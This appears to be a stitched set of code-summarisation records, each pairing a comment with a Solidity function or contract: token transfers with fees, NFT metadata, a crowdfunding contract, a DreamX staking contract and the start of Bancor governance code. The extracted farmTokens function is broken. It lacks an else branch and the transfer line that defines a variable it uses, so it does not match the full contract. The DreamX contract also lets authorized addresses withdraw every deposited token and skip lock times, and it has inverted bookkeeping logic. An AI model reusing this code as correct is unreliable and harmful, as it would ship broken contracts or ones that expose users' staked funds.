Calculates evaporation amount for a given address, without evaporating. chain-weights the per-rainfall evaporation rate so evaporation will not be > 100% _addr address from which to calcuate evaporation
|
function calculateEvaporation(address _addr)
public view returns (uint256) {
return calculateEvaporation(
balances[_addr].amount,
balances[_addr].lastEvaporationTime
);
}
| 6,434,981 |
./partial_match/1/0x5541b24Cf410a081F550A2F7ac7141d7e2080E27/sources/USDx_BABB_Token.sol
|
Transfer tokens from one address to another _from address The address which you want to send tokens from _to address The address which you want to transfer to _value uint the amount of tokens to be transferred/ Check is not needed because sub(_allowance, _value) will already throw if this condition is not met if (_value > _allowance) throw;
|
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
uint fee = (_value.mul(feeRate)).div(10000);
if (fee > feeLimit) {
fee = feeLimit;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
| 15,484,440 |
./partial_match/1/0xAccD4Bf469711de6ca7D622C6E33357BaacF39E7/sources/AvastarMetadata.sol
|
add a new set of base URIs for the default 3d avatar of each avastar. Only invokable by system admin role, when contract is paused and not upgraded. If successful, emits an `VrmUriBasePushed` event. _maxId the max ID that this base applies to _vrmUriBase base URI for the default 3d avatar of each avastar./ Set the base for token vrms Emit the event
|
function pushVrmUriBase(uint256 _maxId, string calldata _vrmUriBase)
external onlySysAdmin whenPaused whenNotUpgraded
{
vrmUriBase.push(_vrmUriBase);
vrmUriBaseMaxId.push(_maxId);
emit VrmUriBasePushed(_maxId, _vrmUriBase);
}
| 15,500,212 |
pragma solidity >=0.4.21 <0.6.0;
// pragma solidity >=0.4.21 <0.6.0;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/// @title Crowdfunding
/// @author JuanMa Garrido
/// @notice
/// @dev
contract Project {
using SafeMath for uint256;
/** STATE VARIABLES */
/// project creator
address payable public creator;
/// required to reach at least this much, else everyone gets refund
uint public goal;
/// date when the funding is completed
uint public closedAt;
/// date when the funding should be completed or everyone gets refund
uint public finishesAt;
/// title of the project
string public title;
/// description of the project
string public description;
/// maps that matches addresses and contributions
mapping (address => uint) public contributions;
// addresses Look Up Tables
address[] private contributionsAddresses;
/** EVENTS */
/// Event that will be emitted whenever funding will be received
event FundingReceived(address contributor, uint amount, uint currentTotal);
/// Event that will be emitted whenever goal is reached
event ProjectFunded(uint closedAt, uint currentTotal);
/// Event that will be emitted whenever the project starter has received the funds
event CreatorPaid(address recipient);
/** MODIFIERS */
// Modifier to check if the function caller is the project creator
modifier onlyCreator() {
require(msg.sender == creator, "current sender SHOULD BE the creator");
_;
}
// Modifier to check if the function caller is the project creator
modifier onlyNotCreator() {
require(msg.sender != creator, "current sender SHOULD NOT BE the creator");
_;
}
modifier onlyNotFinished() {
require(!isFinished(), "current date SHOULD BE BEFORE -finishesAt- time");
_;
}
modifier onlyFinished() {
require(isFinished(), "current date SHOULD BE AFTER -finishesAt- time");
_;
}
modifier onlyNotFunded() {
require(!isFunded(), "project SHOULD NOT BE funded");
_;
}
modifier onlyFunded() {
require(isFunded(), "project SHOULD HAVE BEEN funded");
_;
}
/** BODY */
constructor
(
address payable _creator,
string memory _title,
string memory _description,
uint _duration,
uint _goal
) public {
creator = _creator;
title = _title;
description = _description;
goal = _goal;
finishesAt = now + _duration;
}
/// @dev Function to fund this project.
function contribute() external onlyNotFinished onlyNotCreator payable {
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
contributionsAddresses.push(msg.sender);
emit FundingReceived(msg.sender, msg.value, address(this).balance);
if (address(this).balance >= goal) {
closedAt = now;
emit ProjectFunded(closedAt, address(this).balance);
}
}
/** @dev Function to get all projects' contract addresses.
* @return A list of all projects' contract addreses
*/
function getContributors() external view onlyCreator returns(address[] memory) {
return contributionsAddresses;
}
/// @dev Function to give the received funds to project starter.
function withdrawFunds() public onlyCreator onlyFunded {
creator.transfer(address(this).balance);
emit CreatorPaid(creator);
}
/// @dev Function to retrieve donated amount when a project expires.
function getRefund() public onlyNotFunded onlyFinished {
require(contributions[msg.sender] > 0, "this sender SHOULD HAVE some contributions");
uint amountToRefund = contributions[msg.sender];
require(amountToRefund > 0, "there SHOULD BE some amount to refund to this sender");
contributions[msg.sender] = 0;
msg.sender.transfer(amountToRefund);
}
function isFinished() public view returns (bool) {
return finishesAt <= now;
}
function isFunded() public view returns (bool) {
return address(this).balance >= goal;
}
}
|
Function to give the received funds to project starter.
|
function withdrawFunds() public onlyCreator onlyFunded {
creator.transfer(address(this).balance);
emit CreatorPaid(creator);
}
| 12,837,728 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract DreamX {
string public name = "DreamX";
// create 2 state variables
address public Dream = 0x8b17feA54d85F61E71BdF161e920762898AC53da;
uint reward_rate;
struct farm_slot {
bool active;
uint balance;
uint deposit_time;
uint locked_time;
uint index;
address token;
}
struct farm_pool {
mapping(uint => uint) lock_multiplier;
mapping(address => uint) is_farming;
mapping(address => bool) has_farmed;
uint total_balance;
}
address public owner;
address[] public farms;
mapping(address => mapping(uint => farm_slot)) public farming_unit;
mapping(address => uint[]) farmer_pools;
mapping(address => farm_pool) public token_pool;
mapping(address => uint) farm_id;
mapping(address => bool) public is_farmable;
mapping(address => uint) public last_tx;
mapping(address => mapping(uint => uint)) public lock_multiplier;
mapping(uint => bool) time_allowed;
mapping(address => bool) public is_auth;
uint256 cooldown_time = 10 seconds;
bool is_fixed_locking = true;
IERC20 dream_reward;
constructor() {
owner = msg.sender;
is_farmable[Dream] = false;
dream_reward = IERC20(Dream);
}
bool locked;
modifier safe() {
require (!locked, "Guard");
locked = true;
_;
locked = false;
}
modifier cooldown() {
require(block.timestamp > last_tx[msg.sender] + cooldown_time, "Calm down");
_;
last_tx[msg.sender] = block.timestamp;
}
modifier authorized() {
require(owner==msg.sender || is_auth[msg.sender], "403");
_;
}
function is_unlocked (uint id, address addy) public view returns(bool) {
return( (block.timestamp > farming_unit[addy][id].deposit_time + farming_unit[addy][id].locked_time) );
}
///@notice Public farming functions
///@dev Approve
function approveTokens() public {
bool approved = IERC20(Dream).approve(address(this), 2**256 - 1);
require(approved, "Can't approve");
}
///@dev Deposit farmable tokens in the contract
function farmTokens(uint _amount, uint locking) public {
require(is_farmable[Dream], "Farming not supported");
if (is_fixed_locking) {
require(time_allowed[locking], "Locking time not allowed");
} else {
require(locking >= 1 days, "Locking time not allowed");
}
require(IERC20(Dream).allowance(msg.sender, address(this)) >= _amount, "Allowance?");
// Trasnfer farmable tokens to contract for farming
bool transferred = IERC20(Dream).transferFrom(msg.sender, address(this), _amount);
require(transferred, "Not transferred");
// Update the farming balance in mappings
farm_id[msg.sender]++;
uint id = farm_id[msg.sender];
farming_unit[msg.sender][id].locked_time = locking;
farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount;
farming_unit[msg.sender][id].deposit_time = block.timestamp;
farming_unit[msg.sender][id].token = Dream;
token_pool[Dream].total_balance += _amount;
// Add user to farms array if they haven't farmd already
if(token_pool[Dream].has_farmed[msg.sender]) {
token_pool[Dream].has_farmed[msg.sender] = true;
}
// Update farming status to track
token_pool[Dream].is_farming[msg.sender]++;
farmer_pools[msg.sender].push(id);
farming_unit[msg.sender][id].index = (farmer_pools[msg.sender].length)-1;
}
///@dev Unfarm tokens (if not locked)
function unfarmTokens(uint id) public safe cooldown {
if (!is_auth[msg.sender]) {
require(is_unlocked(id, msg.sender), "Locking time not finished");
}
uint balance = _calculate_rewards(id, msg.sender);
// require the amount farms needs to be greater then 0
require(balance > 0, "farming balance can not be 0");
// transfer dream tokens out of this contract to the msg.sender
dream_reward.transfer(msg.sender, farming_unit[msg.sender][id].balance);
dream_reward.transfer(msg.sender, balance);
// reset farming balance map to 0
farming_unit[msg.sender][id].balance = 0;
farming_unit[msg.sender][id].active = false;
farming_unit[msg.sender][id].deposit_time = block.timestamp;
address token = farming_unit[msg.sender][id].token;
// update the farming status
token_pool[token].is_farming[msg.sender]--;
// delete farming pool id
delete farmer_pools[msg.sender][farming_unit[msg.sender][id].index];
}
///@dev Give rewards and clear the reward status
function issueInterestToken(uint id) public safe cooldown {
require(is_unlocked(id, msg.sender), "Locking time not finished");
uint balance = _calculate_rewards(id, msg.sender);
dream_reward.transfer(msg.sender, balance);
// reset the time counter so it is not double paid
farming_unit[msg.sender][id].deposit_time = block.timestamp;
}
///@dev return the general state of a pool
function get_pool() public view returns (uint) {
require(is_farmable[Dream], "Not active");
return(token_pool[Dream].total_balance);
}
///@notice Private functions
///@dev Helper to calculate rewards in a quick and lightweight way
function _calculate_rewards(uint id, address addy) public view returns (uint) {
// get the users farming balance in dream
uint delta_time = block.timestamp - farming_unit[addy][id].deposit_time; // - initial deposit
/// Rationale: balance*rate/100 gives the APY reward. Is multiplied by year/time passed that is written like that because solidity doesn't like floating numbers
uint locking_time = farming_unit[addy][id].locked_time;
uint updated_reward_rate = reward_rate + lock_multiplier[Dream][locking_time];
uint balance = (((farming_unit[addy][id].balance * updated_reward_rate) / 100) * ((delta_time * 1000000) / 365 days ))/1000000;
return balance;
}
///@notice Control functions
function get_farmer_pools(address farmer) public view returns(uint[] memory) {
return(farmer_pools[farmer]);
}
function unstuck_tokens(address tkn) public authorized {
require(IERC20(tkn).balanceOf(address(this)) > 0, "No tokens");
uint amount = IERC20(tkn).balanceOf(address(this));
IERC20(tkn).transfer(msg.sender, amount);
}
function set_time_allowed(uint time, bool booly) public authorized {
time_allowed[time] = booly;
}
function set_authorized(address addy, bool booly) public authorized {
is_auth[addy] = booly;
}
function set_farming_state(bool status) public authorized {
is_farmable[Dream] = status;
}
function get_farming_state() public view returns (bool) {
return is_farmable[Dream];
}
function get_reward_rate() public view returns (uint) {
return reward_rate;
}
function get_reward_rate_timed(uint time) public view returns (uint) {
uint reward_timed = reward_rate+lock_multiplier[Dream][time];
return reward_timed;
}
function set_reward_rate(uint rate) public authorized {
reward_rate = rate;
}
function set_dream(address token) public authorized {
Dream = token;
dream_reward = IERC20(Dream);
}
function set_multiplier(uint time, uint multiplier) public authorized {
lock_multiplier[Dream][time] = multiplier;
}
function set_is_fixed_locking(bool fixed_locking) public authorized {
is_fixed_locking = fixed_locking;
}
function get_multiplier(uint time) public view returns(uint) {
return lock_multiplier[Dream][time];
}
///@notice time helpers
function get_1_day() public pure returns(uint) {
return(1 days);
}
function get_1_week() public pure returns(uint) {
return(7 days);
}
function get_1_month() public pure returns(uint) {
return(30 days);
}
function get_3_months() public pure returns(uint) {
return(90 days);
}
function get_x_days(uint x) public pure returns(uint) {
return((1 days*x));
}
function get_single_pool(uint id, address addy) public view returns (farm_slot memory) {
return(farming_unit[addy][id]);
}
function get_time_remaining(uint id, address addy) public view returns (uint) {
return(farming_unit[addy][id].deposit_time + farming_unit[addy][id].locked_time);
}
function get_pool_lock_time(uint id, address addy) public view returns (uint) {
return(farming_unit[addy][id].locked_time);
}
function get_pool_balance(uint id, address addy) public view returns (uint) {
return(farming_unit[addy][id].balance);
}
function get_pool_details(uint id, address addy) public view returns (uint, uint) {
return(get_pool_balance(id, addy), get_time_remaining(id, addy));
}
receive() external payable {}
fallback() external payable {}
}
|
Deposit farmable tokens in the contract Add user to farms array if they haven't farmd already
|
function farmTokens(uint _amount, uint locking) public {
require(is_farmable[Dream], "Farming not supported");
if (is_fixed_locking) {
require(time_allowed[locking], "Locking time not allowed");
require(locking >= 1 days, "Locking time not allowed");
}
require(IERC20(Dream).allowance(msg.sender, address(this)) >= _amount, "Allowance?");
require(transferred, "Not transferred");
uint id = farm_id[msg.sender];
farming_unit[msg.sender][id].locked_time = locking;
farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount;
farming_unit[msg.sender][id].deposit_time = block.timestamp;
farming_unit[msg.sender][id].token = Dream;
token_pool[Dream].total_balance += _amount;
if(token_pool[Dream].has_farmed[msg.sender]) {
token_pool[Dream].has_farmed[msg.sender] = true;
}
farmer_pools[msg.sender].push(id);
farming_unit[msg.sender][id].index = (farmer_pools[msg.sender].length)-1;
}
| 13,885,914 |
./full_match/1/0x217f947d7aEad260b20278B6EE399bA768994515/sources/contracts/BrewlabsFarm.sol
|
Deposit reward token Only call by owner. Needs to be for deposit of reward token when reflection token is same with reward token./
|
function depositRewards(uint256 _amount) external nonReentrant {
require(_amount > 0);
uint256 beforeAmt = brews.balanceOf(address(this));
brews.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterAmt = brews.balanceOf(address(this));
totalEarned = totalEarned.add(afterAmt).sub(beforeAmt);
}
| 16,565,542 |
// File: @bancor/contracts-solidity/solidity/contracts/utility/interfaces/IOwned.sol
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/*
Owned contract interface
*/
interface IOwned {
// this function isn't since the compiler emits automatically generated getter functions as external
function owner() external view returns (address);
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
}
// File: @bancor/contracts-solidity/solidity/contracts/utility/Owned.sol
pragma solidity 0.6.12;
/**
* @dev Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override ownerOnly {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() override public {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/interfaces/IExecutor.sol
pragma solidity 0.6.12;
interface IExecutor {
function execute(
uint256 _id,
uint256 _for,
uint256 _against,
uint256 _quorum
) external;
}
// File: contracts/BancorGovernance.sol
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.6.12;
/**
* @title The Bancor Governance Contract
*
* Big thanks to synthetix / yearn.finance for the initial version!
*/
contract BancorGovernance is Owned {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint32 internal constant PPM_RESOLUTION = 1000000;
struct Proposal {
uint256 id;
mapping(address => uint256) votesFor;
mapping(address => uint256) votesAgainst;
uint256 totalVotesFor;
uint256 totalVotesAgainst;
uint256 start; // start timestmp;
uint256 end; // start + voteDuration
uint256 totalAvailableVotes;
uint256 quorum;
uint256 quorumRequired;
bool open;
bool executed;
address proposer;
address executor;
string hash;
}
/**
* @notice triggered when a new proposal is created
*
* @param _id proposal id
* @param _start voting start timestamp
* @param _duration voting duration
* @param _proposer proposal creator
* @param _executor contract that will exeecute the proposal once it passes
*/
event NewProposal(
uint256 indexed _id,
uint256 _start,
uint256 _duration,
address _proposer,
address _executor
);
/**
* @notice triggered when voting on a proposal has ended
*
* @param _id proposal id
* @param _for number of votes for the proposal
* @param _against number of votes against the proposal
